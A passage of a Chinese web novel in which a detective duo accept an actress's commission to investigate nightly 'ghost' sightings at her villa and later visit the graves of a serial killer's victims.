程述一直没说话,听到这儿,他向后倚在沙发靠背上,突然开口问:“冒昧问一句,江小姐相信这世界上有鬼吗?”
祝好心里冷冷地哼了一声:之前对她还是直接冒昧,现在面对大美女,冒昧之前还学会提醒一句了,
还说江绮不是他喜欢的类型呢。
呵,男人。
江绮没回答他的问题,而是反问:“程先生觉得呢?”
程述似笑非笑:“世上有没有鬼我不知道,但人心里的鬼一定不少。”
江绮微微颔首,表示同意他的看法:“这就是我请你们来的目的,这件事已经影响到了我的正常生活,所以无论是人还是鬼,我只希望你们能帮我把他揪出来,剩下的我可以自己解决。”
祝好看向程述,跟他交换了一个眼神,询问他的意见。
程述耸了耸肩,表示无所谓,让她自己决定就好。
思索片刻,祝好转头问江绮:“方便先带我们去你家看看吗?”
第148章
留下家里的地址后江绮就先行回去了,请他们过半个小时再出发,还特地叮嘱了注意路上有没有被人偷拍或跟踪。
这个要求让程述面露不耐,祝好倒是很能理解,毕竟演员这一行很容易被狗仔盯上,更何况是江绮这样名气不小的演员,一点点寻常的小事都会被八卦报刊无限放大拿来做文章,自然会谨慎些。
江绮的住处是一个独栋别墅区,坐落在山环水抱的半山腰,远离闹市的喧嚣,尽享大自然的宁静,而且别墅区每栋楼之间相隔很远,保证了每户人家的隐私,十分适合像江绮这样对个人空间有高要求的人群。
江绮先她们一步到家,已经提前在门口候着了。
走进院子,看着眼前这栋有些陈旧、爬满枯萎藤蔓的欧式风格小别墅,祝好心里禁不住嘀咕,这不是恐怖片里最常见的房子吗?光是它的外观,就给人一种不管发生什么事儿都不会觉得奇怪的刻板印象。
江绮仿佛察觉了她的疑惑,笑了笑解释道:“这个别墅区有几十年历史了,但我一直很喜欢这种复古的外观,当时一眼就看上了。别看这里位置偏,安保措施还是很到位的。”
前院的花园有许多植物,不过在这个季节,除了一株被打理得很好的梅花外,其他的花都已经凋谢得差不多了。
进屋后,江绮把热水壶搁在底座上,问道:“程先生祝小姐,喝茶还是咖啡?”
祝好客套回应:“喝水就行。”
接过她递来的杯子,祝好抿了一口温水,环视着别墅内部。
与破败的外表不同,别墅经过重新装修,是以红黑色为主的法式复古风格,热情洋溢的红色与神秘庄重的黑色大胆碰撞,彰显了屋主人独特的审美。
跟大多数别墅的构造一样,一楼分别是餐厅、厨房、书房和挑空的客厅,二楼则是主卧、客房和江绮的衣帽间。
这栋别墅虽然外部看起来阴森,但其实采光很好。雪后初晴,晌午的阳光穿过摇曳的花枝漫进来,给屋里的一切镀上一层柔和的暖光。
祝好问:“江小姐,平时你都是一个人住吗?”
江绮点点头:“是的,有个阿姨每天都会来替我打理家务,我休息在家时她也会来给我做饭,不过她晚上不住这儿。”
“方便我们上二楼看看吗?”
“当然可以。”
江绮的主卧十分宽敞,与客厅大胆的红黑撞色不同,房间以优雅素净的黑白灰为主,缀以少量复古的绿色装饰。
主卧还有个卫生间,里面也被打扫得很干净,浴缸旁边还特地放置了香薰蜡烛。
依次看完一楼和二楼的所有房间,以及别墅前院的花园和后院的休闲区后,除了不自觉地感慨有钱人的生活过得太好了,祝好并没有察觉什么不寻常之处。
她向程述投去询问的目光,程述也轻轻摇了摇头,表示没什么发现。
他开口问江绮:“你一般什么时候会看到那个人影?”
“晚上。”江绮回答:“特别是睡前和睡着的时候,总能感觉她在暗处看着我。”
说到这儿,她忍不住摩擦自己的手臂,以缓解这件事给她带来的惊悸。
程述:“只有在家住的时候会这样吗?”
江绮摇了摇头,抬手扶住自己的额角:“不止是在家里,就算住酒店我也还是一样会做噩梦。”
程述话锋一转,突然问:“你看过几个精神科的医生?”
江绮苦笑:“淮江市有名没名的几乎都看过了。”
程述露出沉吟不决的神色,片刻后,轻轻摇了摇头:“那看来我们帮不了你。”
听这意思,是要推掉这份委托了。
祝好虽然不太情愿,却也有些无可奈何。毕竟“见鬼”这种事实在是太主观了,除了身为当事人的江绮之外,没有第二个人经历过,根本不知道从何下手。
如果贸然接下这个委托,不仅浪费时间精力,最后还不一定能查出什么结果。
江绮闻言脸色微变,语气也急促起来:“我真的很需要你们的帮助,报酬什么的都好说,不然你们开个价吧,我可以先付定金。”
“不是报酬的问题,我只是觉得自己不能胜任这份工作,就不浪费江小姐的时间了。”程述难得说话客套,但拒绝的意味很明显。
“要不这样吧,你们……你们搬来我这儿住几天,我这儿的客房很多,随便你们挑。”看程述拉着祝好就要走,江绮急得一把扯住祝好的胳膊,声音里带着颤抖的哀求:“我真的什么方法都试过了,实在不行才找到你们的,请你们一定要帮帮我。”
看着她因为着急而微微泛红的眼眶,祝好心生不忍:能让一个养尊处优的大明星放低姿态请求他们帮忙,可见这件事带给她的困扰不小。
“江小姐,你稍等,我们商量一下。”祝好顿住脚步,扯着程述的袖子把他拉到角落里,低声说道:“老大,要不我们就帮她一回吧。”
程述抱着双臂往墙上一靠:“怎么帮?你有什么想法吗?”
“……没有。”
“那不就行了?她这情况要么是心理问题,要么是精神问题,无论是哪种我都无能为力。”
祝好不死心:“万一有其他可能呢?”
程述轻笑一声:“其他什么可能,你还真觉得世界上有鬼啊?”
祝好反问:“你怎么就确定没有?而且你昨晚都答应我接下这单委托了,不许反悔。”
虽然她暂时没有任何头绪,不过既然江绮的诉求是请他们留下来陪陪自己,不如就顺水推舟先答应下来,万一到了晚上她又一次看到那个奇怪的身影,说不定还能及时发现些端倪。
程述看向天花板,无奈地吁了口气:“那随你吧。”
祝好抬手搭在他肩上,严肃地说:“程述同志,你这工作态度不行,太怠惰了。我们要迎难而上,突破自我,勇于创新,才能把侦探社做大做强,知道吗?”
程述:“……滚。”
祝好麻溜儿地滚回江绮面前,朝她露出一个标准的微笑:“江小姐,我们商量过了,决定接下这笔委托。至于报酬……”
她本想说对这份委托没什么把握,暂时先不收取费用,没想到话还没说完,江绮立刻接上:“你们随便开价。”
祝好想了想,不论调查的结果如何,他们没有功劳也有苦劳。
思及此,也就没再推脱,并迅速在心里算了笔账。
程述这个侦探事务所平时收入最高的活儿就是抓小三,一般按难易程度收费几千到几万元不等。对于解决江绮这件事她没什么把握,底价就按最低的五千元算吧。
如果要在江绮家呆五天,她跟程述两个人每人每天五百,那五天就是五千。交通费总要有吧,算一千就好。这几天白眼狼晚上要一个猫在家,多可怜,要给他买点进口罐头补补身子……
一番计算后,祝好抬起手朝江绮笔划了个“耶”的手势,小心翼翼地问:“这个价格合适吗?”
江绮没有任何迟疑,从抽屉里拿出一本支票,在上面写下一串数字,“唰”地撕下来递给她:“这是定金,等查出真相之后,我会把尾款补上。你们从今晚开始住进来,可以吗?”
两万块钱……至于用支票吗?
疑惑归疑惑,祝好还是接过支票,礼貌地回答:“当然可……”
她目光掠过支票上的数字,说到一半的话登时卡在喉咙里。
等等,这是一、二、三……五个零?
光定金就付了十万,也就是说,江绮以为她开的价格是二十万?
看着支票上那一串零,祝好差点流下没见过世面的口水,然而在天降横财和良心之间纠结许久,她还是咬了咬牙选择了后者:“江小姐,不是二十万,是两万。”
江绮一愣,随即无所谓地笑了笑:“没关系,李老板推荐的人我绝对信得过,我愿意付你们这个价格。”
看来这委托没有不接的道理了。
祝好拼命按捺住激动的心情,保持着专业的姿态,微笑道:“那就谢谢江小姐了,我们回去收拾收拾,从今晚开始搬过来。”
车子驶离别墅区后,祝好迫不及待从口袋里拿出那张支票,小心翼翼地把那串零又数了一遍,果然是十万块钱。
十万块,要用一万积分才能换到!难道是这个游戏看她实在太惨了,良心发
现,给她设置了一个隐藏的特别惊喜?
耳边忽然传来一声轻笑,她转过头去,对上程述要笑不笑的目光,茫然地摸了摸自己的脸:“你笑什么,我脸上有东西吗?”
“有啊,有一脸没出息的笑。”程述问:“真有那么高兴吗?”
“赚到钱能不高兴吗?”祝好朝他翻了个白眼,喜滋滋地把支票举到眼前:“没想到当侦探还挺吃香的。”
她寻思着以后回到现实世界如果还找不到合适的工作,干脆也开一家侦探事务所得了。
程述嗤笑:“你以为这种人傻钱多的客户天天都能碰上吗?”
祝好抬手在嘴上比划了一个拉拉链的动作:“诶,这种话你可不能当着客户的面说。”
程述轻轻挑眉,适时闭了嘴,过了会儿又问:“既然收了钱,祝侦探对这次的委托有什么头绪了吗?”
一句话如同冷水当头泼下,浇灭了祝好的满心欢喜。
她悻悻地把支票对折,放进程述的上衣口袋里,说道:“没有头绪……不过你不是说了吗,走一步,看一步。支票先放你那儿,免得我忍不住全花光了,实在不行……到时就把钱还给她呗。”
她敛起喜悦的心情,靠在座椅上望着窗外的景色发呆。
惊喜是有了,但接下委托只是第一步,今天晚上、以及接下来的几天,又会不会有什么惊吓呢?
第149章
回家简单吃了个晚饭,收拾几件衣服之后,就该按照约定去江绮家陪她了。
出门前,祝好依依不舍地把白眼狼抱在怀里一顿狂rua:“白眼狼,这几天晚上我要出门打猎,你一个猫在家要乖乖的,知道吗?”
白眼狼对她的话爱搭不理,瞅准时机从她怀里跳出来,扭动着肥硕的身躯眼巴巴地跟在程述身后,期待他会在自己的眼神攻击下奉上一个罐头。
程述对谁都一副铁石心肠的模样,唯独对白眼狼没有任何抵抗力,刚要打开放罐头的柜子,就看到祝好贴在柜门上那张“禁止心软”的纸条。想了想,还是把柜子关上了,弯下身拍了拍白眼狼的脑袋:“有人说你太胖了,不让你吃那么多罐头,要怪就怪她吧。”
白眼狼像是听懂了,哀怨地朝祝好“喵”了一声。
祝好无语,一唱一和演给谁看呢。
按照江绮的要求,他们只有晚上需要在她家呆着,白天的时间可以自由安排,这么一看,这钱好赚到祝好都有些心虚了。
去江绮家的路上,祝好收到了李砚川分享的视频,打开一看,是两只依偎在一起的小猫,正互相给对方舔毛。
李砚川经常给她发这样的视频,之前她从来没多想,不过自从那天差点跟他亲上之后,祝好总觉得他给自己发这个视频有些其他的意味,又担心是自己多想了,一时不知道要怎么回复,只得随意回了个笑脸。
男人好难懂,为什么这个游戏一定要有恋爱元素呢?祝好叹了口气,用一句优美的语言问候了一下系统。
“发什么呆呢?是不是后悔了,怕今晚真见鬼?”
程述的话让祝好从混乱的思绪中抽会神思,摇摇头解释道:“我在想事情。”
“想什么?”
“想李砚川。”祝好往后倚在座椅上,手指敲着下巴:“你知道吗,那天我差点就跟他接吻了。”
话刚落音,一直笔直往前开的车突然抖动了一下,随即又迅速回正。
虽然只有短短一瞬,但还是把祝好惊出一身冷汗:“老大,你干嘛呢?车技什么时候变得那么差了。”
程述没回答,只是侧目看了她一眼,干咳一声,漫不经心地问:“……差点?”
祝好不知道他为什么会有那么大反应,茫然地点点头:“他那天应该是吃了药,意识有些迷糊,还以为自己在做梦呢。”
“做梦?”程述忽然发出一声不屑的嗤笑:“他说做梦你就真的相信他是在做梦?”
祝好愣了一下,把这句话来回咂摸了好几遍才反应过来:“啊,难道他是故意的?”
话刚问出口,她又立刻否定了这个猜想:“不可能,你不了解李砚川。”
在她的印象里,李砚川一直都很有分寸感,不会做出这样的事。
程述的笑容里有不加掩饰的促狭:“是你不了解男人。别把他想得太好了,男人本性都是卑劣的。”
祝好一时无言以对,顿了顿,问他:“那你呢?”
“我什么?”
“你不是说男人的本性都是卑劣的吗?那你会不会假装自己喝醉了或者意识不清醒,借机亲吻自己喜欢的女孩儿?”
程述回答得斩钉截铁:“不会。”
祝好:“懂了,你不是男人。”
“……”程述无奈地斜睨她一眼:“……大部分男人本性都是卑劣的。”
生怕祝好没听出这句话的重点,他又强调了一次:“大部分。”
祝好撇了撇嘴没接茬,心想高梦妍说的果然没错,男人总是有一种盲目的自信。
*
江绮吩咐阿姨提前收拾了两间客房,让程述和祝好一人一间。
但程述拒绝了,让祝好睡在主卧隔壁的房间,自己在客厅的沙发上应付几晚就行,这样即便晚上发生什么事,他也能第一时间听到动静。
下楼之前,程述先是仔细检查了楼上所有房间的窗户,确认都已经锁上之后,才回到楼下客厅。
征得江绮的同意后,祝好没回自己房间,而是先在江绮房间里陪着她——既然收了报酬,就算最后查不到什么结果,表面功夫也要做到位。
江绮被这件事困扰许久,睡眠质量受到极大影响,但作为演员,她依旧保持着自律的生活习惯,洗澡前换上瑜伽服,放起轻柔的音乐,开始在房间的地毯上做起瑜伽来。
祝好在一旁偷偷观察着她,不禁好奇长得那么好看的人真的会有烦恼吗——哦,还是有的,毕竟她被所谓的女鬼折磨了一个多星期,卸下妆容后,虽然容貌依旧俏丽,但还是能从她脸上看出掩饰不住的疲倦。
做完瑜伽后,江绮稍作休息,有一句没一句地跟祝好闲聊起来。
祝好好奇:“江小姐,当演员是什么感觉?”
江绮笑了笑:“其实跟普通的工作也没什么区别。”
她答得敷衍,显然是不想就这个话题深究下去,祝好也就不再追问,斟酌着语气,开口问道:“如果‘见鬼’这件事是人为的,你有什么怀疑的对象吗?”
江绮摇摇头,思忖片刻又点点头:“我们这个圈子很复杂,大家表面上看起来都是和和气气的,但私下对彼此做了什么,也只有自己才知道。你要问我有没有怀疑的对象,那肯定有很多,但如果你问我是谁,那我还真不知道。”
祝好不怎么追星,但或多或少也对娱乐圈的事儿有所耳闻。
这个圈子看似光彩夺目,实际上却是一个深不见底的大染缸,只要一只脚踏进去,就没几个人能清清白白地全身而退。
即便如此,还是不停有人为了获得名气和利益,争先恐后往里跳。
江绮的事业正处于上升期,身边妒忌或觊觎的视线一定不少,想要知道是谁想对她做了什么,一时半会儿还真的挺难调查清楚。
不过如果是“人为”,那对方究竟是怎么做到的呢?祝好的脑海里闪过一帧帧恐怖电影的片段:下咒?巫术?还是……
在她晃神的空当儿,江绮已经休息好了,从衣柜里拿了件浴袍要进浴室洗澡。
就算同为女性,祝好也不好意思在别人**时盯着人家看,目送她走进浴室后,便随手从书柜上拿了本书,坐在椅子上翻看起来。
浴室里传来哗啦啦的水声,水流声停下之后,江绮并没有出来,应该是还要在浴缸里泡会儿澡。
祝好拿出手机,给程述发了条语音:“小程保镖,一楼情况如何?over。”
程述先是回复了一串省略号以示无语,接着又简短
地回复了一个“ok”的表情,表示一切正常。
过了会儿,又发来一条信息:“小祝保姆,女鬼出现了吗?”
祝好刚要回复,就听到浴室里传来一阵水声,应该是江绮从浴缸里出来了,赶紧收起手机正襟危坐,好让自己看起来敬业一些。
片刻后,穿着浴袍的江绮打开浴室门走出来,白皙的脸被浴室里的水蒸气熏得微微泛红。
祝好赶紧问:“江小姐,你有什么感觉到异常吗?”
江绮注意到端坐在浴室门前的祝好,忍不住轻笑出声:“不用那么客气叫我江小姐,称呼我名字就好,也不用寸步不离地跟着我。你先回房间休息吧,有事我会叫你的。”
多好的甲方啊,祝好都要感动哭了,如果程述敢再说江绮人傻钱多,她一定要帮江绮还他两个耳光。
她点点头,回到了隔壁客房。
客房里的床品是刚换上的,质地柔软亲肤,散发着淡淡的薰衣草香味,光是摸着就能感觉出价格不菲。
祝好躺在上面开心地打了个滚,终于能理解为什么白眼狼当初能在李砚川的床上睡得那么舒服了。
如果这次的委托费能顺利到手,她也要买一套这样的床品犒劳自己。
困意不知不觉来袭,祝好竖起耳朵凝神静听:跟想象中不同,隔壁房间十分安静,并没有什么响动。
难道是因为他们的到来,所以“鬼”都不敢出现了?
她虽然看过很多恐怖电影,自认为心理承受能力还不错,也禁不住会在夜里起床上厕所时莫名想起某些电影里的桥段,然后把自己吓一哆嗦。
但今天晚上不知是不是因为有程述在,她对所谓的“见鬼”居然还抱有一丝好奇心,甚至期待着会发生点什么不寻常的事。
现在一切风平浪静,说实话她还有些失望。
胡思乱想中,眼皮越来越沉,她盖好被子,迷迷糊糊睡着了。
也不知过了多久,一声惊叫突然穿透墙壁冲击着耳膜。
祝好猛地睁眼,下意识掀开被子跳下床冲出房间,正好在江绮的房间门口碰到了刚从楼下上来的程述。
她跟程述对视一眼,敲了敲房间门试探着问了句:“江绮,你还好吗?”
片刻后,房间门被打开。
因为恐惧和紧张,江绮脸色煞白,额头上覆盖着一层薄汗,一看到祝好就忍不住往她身上扑:“我又看到她了。”
程述问:“在哪儿?”
江绮靠在祝好怀里,浑身止不住颤抖:“她、她就站在床边,看着我。”
程述皱了皱眉,走进房间里转了一圈,把所有的柜门都打开查看了一遍,却一无所获。
门窗也都是完好的,而且都从里面锁上了,也就排除了有人从外面进来的可能。
他对祝好摇了摇头:“什么也没有。”
祝好也疑惑了,江绮看到的究竟是什么?是她精神错乱、出现了幻觉,还是这世界上真的有鬼?
第150章
受到惊吓的江绮仿佛一只易碎的瓷花瓶,眼圈泛红,紧紧攥着祝好的手不肯放开,央求道:“祝好,你、你可以留在房间里陪我吗?我一个人真的很害怕。”
既然金主都已经提出了要求,祝好自然不好拒绝,更何况这个要求并不过分。
她没多想,点了点头:“好,我陪你吧。”
江绮这才松了口气似的,在祝好的搀扶下回到了床上。程述跟祝好交代了句有事喊他之后,也回到了楼下客厅。
祝好从客房搬来一张被子,在江绮身边躺下了。
或许是连续太多天没睡好,江绮的精神疲惫到极点。身边多了个人,她安心不少,闭上眼睛睡了过去。
一番折腾后,反而是祝好睡不着了。回想起江绮说过的话,她打开手机把屏幕亮度调到最低,在搜索框里输入了江绮的名字。
江绮今年26岁,从小学习舞蹈,因为身材高挑、长相出众,还没高考就被淮江市一所艺术学校提前录取,进入了表演系学习。
毕业后,她陆续出演了几部电影、电视剧,都取得了不错的成绩,也因为演技流畅自然而大受好评,受到不少观众的喜爱。
除了这些资料,网上关于她的花边新闻和小道消息也不少,大部分是以“听我一个朋友说”“据某位圈内人士透露”“江绮聊天记录曝光”之类的话术作为开场白,点进去一看,其实都是些胡编乱造的假新闻。
欲戴王冠,必承其重,享受着名气带来的光鲜亮丽的同时,自然也要承受一些负面影响,比如隐私的泄漏、过度的关注等等。
祝好扪心自问肯定做不到拥有那么强大的内心,还是老老实实当个普通人好了。
江绮的呼吸逐渐变得均匀绵长,看起来应该是进入深睡眠了。困意再度袭来,祝好也放下手机,钻进被窝里。
……
“祝好……”
迷蒙中,似乎有人在喊她的名字。
祝好艰难地睁眼,想起身寻找声音的来源,浑身却没有一丝力气,完全动弹不得。
她转动唯一能动的眼珠子往四周看了一眼,不禁头皮发麻——奇怪,自己明明是在江绮的房间里睡着的,为什么这时却躺在一个铺满塑料薄膜的黑色房间?
她旋即反应过来,这是她差点被许安宁杀死的地方。
“祝好。”
声音从头顶上方传来,祝好努力让视线聚焦,看到一个黑色的影子正一步一步朝她靠近,雨衣摩擦发出窸窸窣窣的声响如同吐着信子的毒蛇,裹挟着凉意缓缓钻进她的耳膜,激起一身鸡皮疙瘩。
黑色雨衣在她面前蹲下,从口袋里拿出一瓶红色的指甲油,轻声说道:“祝好,我一直在看着你,你感受到了吗?”
——不是许安宁,而是一个她似乎在哪里听过,却一时记不起来的声音。
纷繁复杂的思绪如同湍急的河流席卷而来,祝好张了张嘴,嗓子里却像是被塞了一团棉花,一个字也说不出来。
黑色雨衣歪着头凝视她许久,手里不知何时多出了一把闪着寒光的刀,猝不及防朝她刺下——
祝好蓦地睁眼,才发觉自己仍旧躺在江绮的房间里,刚才的一切只是个梦。
她松了口气,想拿起手机看时间,才发现手心已经被汗水濡湿了。
早上八点钟。
身旁的江绮还在熟睡,被噩梦惊醒的祝好睡意全无,蹑手蹑脚离开房间,走到了楼下客厅。
沙发上的程述也不知是早就醒了还是压根儿没睡,听到动静,掀起眼皮看了她一眼:“怎么了?醒那么早。”
祝好走到他身边坐下,压低声音问:“老大,你说这间房子是不是真的有什么古怪?”
程述把沙发上的毯子挪开,给她腾出更多位置,闻言皱了皱眉,问道:“你看到什么了?”
祝好想了想,还是没把梦到指甲油杀手的事告诉他,只是敷衍答了一句:“没什么,做了个噩梦而已。你呢,昨晚睡得好吗?”
程述还没回答,大门的方向突然传来一阵密码锁的声音,他们不约而同望过去,就见一个中年女人推开门,手中提着两个袋子往屋里走。
看到程述和祝好,女人微微一愣,然后笑着打了声招呼:“你们就是小绮的客人吧?我姓连,你们跟小绮一样叫我连阿姨就好。”
祝好反应过来,她应该就是江绮口中那个替她打理家务的阿姨,应了句“阿姨好”后,顺便做了个简单的自我介绍,不过没说他们住在这儿的目的,只说自己是江绮以前的朋友。
连阿姨往楼上看了一眼:“小绮还没起床吗?”
祝好:“没呢,她昨晚没睡好。”
连阿姨蹙眉轻轻摇了摇头,脸上写满担忧:“这孩子最近总时神神叨叨的,一会儿我给她熬个小米红枣粥吧,可以改善睡眠。”
说完提着袋子进了厨房,一样一样把里面的东西拿出来。
祝好好奇地凑上前看了一眼,都是一些新鲜食材,肉类鲜嫩,蔬菜上还沾着水珠,一看就时经过精心挑选的 。
她客套地问了句:“连阿姨,需要我们帮忙吗?”
“你们是客人,怎么能让你们帮忙呢?”连阿姨和善地笑了笑:“对了,你们也没吃早饭吧?待会儿一起吃点儿。”
祝好应了声“好”,但还是觉得让长辈一个人在厨房忙活不太礼貌,便卷起袖子跟她一起处理食材,顺便把一筐菜放到餐桌上,示意程述也帮忙择菜,然后有一搭没一搭地跟连阿姨聊了起来,试图打听到一些有用的信息。
“连阿姨,您在这儿工作多久了?”
“快三年了,小绮工作忙,没时间打理家务,我就不一样了,什么都没有,最多的就是时间,所以这间房子一直都是我在帮她打理的。”
“您之前工作时,有没有发现这间房子发生过什么奇怪的事情?”
连阿姨手上的动作突然顿住了,转头看向祝好:“奇怪的事儿……你指的是小绮见到的那些吗?”
祝好点点头。
“没发现过,我也不相信那些东西,俗话不是说了吗?不做亏心事,不怕鬼敲门。小绮一定是工作压力太大,才会胡思乱想的。”
没等祝好接茬,她又话锋一转,问道:“对了,你们跟小绮是什么时候认识的?高中还是大学?”
祝好没多想,顺着她的话随口胡诌:“大学。”
连阿姨笑:“我就说嘛,你们长得都那么好看,一看就是戏剧学院毕业的。”
闲谈间,江绮也睡醒了,她从二楼下来,走进厨房给自己打了杯水。大概是昨晚睡得不错,她今天的气色好了不少。
连阿姨关切地问她:“小绮,昨晚睡得怎么样?”
“有我朋友陪着,睡得好多了。”江绮放下水杯,凑到灶台边掀开锅盖嗅了嗅:“好香啊,连阿姨,你煮了什么?”
连阿姨放下手中的活儿,手在围裙上擦了擦,盛了几碗煮好的小米红枣粥放在餐桌上:“听说这个吃了可以助眠,小祝,你们也别忙了,先吃早餐。”
祝好应了一声,跟江绮和程述一起在餐桌旁坐下。
连阿姨准备的早餐很丰盛,除了小米粥外,还有热腾腾的玉米、软乎乎的鸡蛋饼和新鲜饱满的草莓。
早餐吃得差不多时,程述忽然开口:“江小姐,你昨天……”
话说到一半,他忽然顿住了,转头朝连阿姨在客厅收拾家务的背影看了一眼。
江绮明白了他的意思,笑道:“没事,连阿姨跟我已经很熟了,不用避着她,有什么直说就行。”
程述点点头,却还是把声音压低了一些:“我想请你把你每天的饮食都记录下来。”
江绮反应过来,摇了摇头,语气笃定:“我的饮食都是连阿姨准备的,连阿姨就像我的家人一样,她做的饭菜不会有问题。”
程述没变换太多神色,只是淡淡地说了句:“江小姐请我们来,到底是要我们当你的保镖和保姆,还是为了调查真相?”
怎么跟金主说话的呢!祝好不动声色地从桌子底下踹了他一脚。
江绮愣怔片刻,还是答应了:“知道了,我会记下来的。”
连阿姨不知是没听到他们的对话,还是根本不在意,忙碌的身影在客厅里穿梭不停。看到沙发上整齐叠放的枕头和毯子,她不解地问了句:“不是收拾了两间客房吗,怎么还睡沙发呢?”
祝好指了指程述,随意敷衍:“他皮糙肉厚,睡不惯太高级的床。这大概就是山猪吃不了细糠吧。”
程述:“……”
今天阳光甚好,连阿姨用吸尘器清理完客厅后,又把程述放在沙发上的毯子抖开晒在院子里,问道:“今晚还要继续在这儿住吗?”
江绮应道:“嗯,客房的床褥也暂时不用收起来,简单打扫一下卫生就好。”
连阿姨点点头,正要上楼忙活,突然想起什么,从包里拿了一封信递给她:“对了,刚才我在院子里捡到这个,不知道是不是你哪个粉丝放的。”
“粉丝?”江绮放下手里的匙羹,把信拆开看了一眼,脸色忽然一变,几不可察地咽了口唾沫。
祝好察觉到她的表情不太自然,问道:“怎么了吗?”
江绮随便勾了下嘴角,应付道:“没事,是粉丝寄来的信,我就是奇怪他们怎么会知道我的地址。”
从她惊疑不定的神色变换中,祝好意识到这只是个借口。
不过信件毕竟是江绮的隐私,作为外人她自然不好打探太多,便笑了笑,没再追问。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
150-160
第151章
江绮白天要工作,所以天黑之前他们都可以自由行动。
最近没什么案子,作为编外人员,程述也不需要每天去警局报道。
车子从江绮的别墅往回开的路上,他忽然在一个市场门前停下,解开安全带,转头对祝好说:“你在车里等我,我下去买点东西。一会儿先送你回家,我要去办点事。”
“去干什么?”
程述敷衍地答了句:“私事儿。”
说完开门下车,朝市场里走去。
小样儿,还有秘密了。祝好不屑地撇了撇嘴,掏出手机无意中扫了一眼日期,忽然意识到了什么。
她从车窗向外看去,程述的身影已经消失在市场门口了。
市场外围有不少零食店,她从车上下来,买了两杯热乎乎的芋泥奶茶,又在甜点店里挑了两块草莓蛋糕。
等她走回停车的地方时,程述也刚好提着个黑袋子回来,看着她手里的奶茶和蛋糕,轻笑一声:“你一个人能吃得完吗?”
“不是我自己吃的。”她坐上副驾驶系好安全带,对程述说:“你不是要去墓园吗?不用特地先送我回家了,我跟你一起去。”
程述愣住,看向她的目光里多了一丝惊讶:“你怎么知道?”
祝好说:“今天是蒋婷婷的忌日,不是吗?奶茶和蛋糕是给她买的。”
程述目光微颤,又飞快垂下眼帘,一言不发地启动了车辆。
车行驶在去往墓园的路上,公路两旁延绵不绝的柏树不断划过,最终消失在后视镜里。
墓园里碑影幢幢,寂静无声,冬日的阳光干燥刺眼,却无法驱逐萦绕在这儿的凄清和苦楚。
程述拂掉蒋婷婷墓碑上枯朽的枝叶,从口袋里掏出一包湿巾,仔细擦拭上面“爱女蒋婷婷之墓”几个字,然后从黑袋子里掏出一把香,抽出三根在墓前点燃。
二十四年前的今天,指甲油杀手第一次作案,受害者正是时年18岁的蒋婷婷。
当时她跟朋友相约出去玩,回家的路上不知所踪。再被人发现时,曾经活泼开朗的女孩已经成为了一具冰冷的尸体。
后来她的母亲因为过度悲伤生了场大病,不久后就撒手人寰,父亲蒋涛也在许安宁的那起案子中锒铛入狱。
曾经平凡幸福的一家三口,因为指甲油杀手变态的一己私欲而灰飞烟灭。
等程述清理好墓碑后,祝好把其中一份奶茶和蛋糕放在墓前。
程述点燃几支香,无声地看着墓碑发了好一会儿呆才起身:“走吧,回去了。”
祝好掂了掂手里的另一份奶茶和蛋糕:“来都来了,你不顺便去看看小霜吗?”
程述蓦地一愣,漆黑的眼眸神色平静,可最深处早已波澜乍起。
他没说话,带着祝好轻车熟路地穿过一排排墓碑,在其中一座前面停下。
墓碑上写着程霜的名字,前面摆放着一束粉紫色的干花,似乎是不久前刚有人来过。
“是勿忘我。”祝好拿起那束花递给程述:“是你放的吗?”
程述接过干花看了一眼,淡淡地摇头,把花放回原处:“不是我,可能是小霜的朋友吧。”
灰色的墓碑上,程霜的笑脸一如往昔鲜活明媚,她的眉眼跟程述有些相似,但不似他那么凌厉和冷淡,而是更柔和、更温煦。
这样的女孩子,一定会有很多人乐意跟她成为朋友吧?
可她的时间,却永远停滞在五年前那个雨夜。
祝好把奶茶和蛋糕
摆在墓碑前,絮絮叨叨跟她说话:“小霜,你哥这个钢铁直男是不是从来都不知道给你带零食?今天来得仓促,就只买了蛋糕和奶茶,以后有机会再来,我一定给你带很多好吃的。”
从墓园出来时,快要没入地平线的落日把天空染成了橙色。顺着来时的路往回开,车窗外柏树的影子摇曳,逐渐陷入一片混沌的暗色中。
一路缄默不语的程述忽然开口:“祝好。”
“嗯?”
“谢谢。”
“谢谢”这两个字在程述那儿的稀有程度不亚于“对不起”,认识那么久了,祝好也就听过第二回。
花了两秒钟确定自己耳朵没问题后,她错愕地转头看他:“谢什么?”
程述忽然笑了。
或许是往事令他深陷愧疚的囹圄,在墓园时,他的眉宇间一直仿佛压着千钧的阴霾,这时竟然笑了起来。
虽然只有短促的半秒钟,但那是发自内心的、带着些释然的笑。
过了会儿,他才说:“不知道,可能没有理由,也可能有很多理由。”
*
天色渐渐暗了下来,一想到晚上又要回到江绮的别墅,祝好的脑海里就浮现昨晚的噩梦。
这个噩梦只是个巧合吗?还是因为江绮的表现,让她也受到了某些心理暗示?
又或者……那栋房子真的有什么问题?
车在静谧的山间公路上行驶,离别墅的距离越近,祝好的内心就越是惴惴不安。
一路上,她把看过的恐怖电影在脑海里筛了一遍,突然发觉有很多恐怖片,比如什么《招魂》《潜伏》等等,都跟神秘的大房子有关系。
虽然江绮说过,住酒店同样会做噩梦,但恐怖片里也不是没有过被恶灵缠身后,不论搬到哪儿都无法逃脱的剧情。
想到这儿,祝好不自觉打了个寒战,感觉自己好像走错了片场——这真的是乙游吗?
她转头看了程述好几眼,欲言又止。
程述把着方向盘,目光一直落在前方的路上,在她第五次看他时,终于开口:“就算我长得好看,你也不用一直盯着我吧?”
跟白天在墓园里的严肃和凝重不同,这时的他又变回了往常那副轻佻随性、吊儿郎当的模样。
祝好往驾驶座的方向靠了靠,低声问道:“老大,昨晚住在江绮那套别墅里,你真的没感觉到有什么古怪吗?”
“怎么,这才第二天,就找借口不想上工了?”程述嘴角微微勾起一丝略带揶揄的笑意:“祝好同志,你这个工作态度不行啊,太怠惰了。”
祝好没料到他会用她说过的话来调侃自己,但也没心情跟他拌嘴,撇过脸去叹了口气。
“如果你现在不想接这单委托了,我们随时可以掉头。”
祝好摇了摇头:“我还以为你说了那么多,是想让我不要半途而废呢。”
“我只会让你随心所欲。钱可以再挣,但让你觉得不开心的事就不要强迫自己去做了。”
难得从他嘴里听到一句那么感性的话,祝好一时还有些不习惯。
不过她想了想,恐怖片里嘎得最快的一定是临阵退缩的炮灰,而坚定不移要查出真相的主角往往能活到最后。
于是她还是坚持自己最初的想法:“不了,现在逃跑会给人留下笑柄的,对咱们侦探社的名声多不好。你不努力,我还想把侦探社做大做强呢。”
程述轻笑出声,过了会儿,又突然问:“你昨晚到底梦见什么了?”
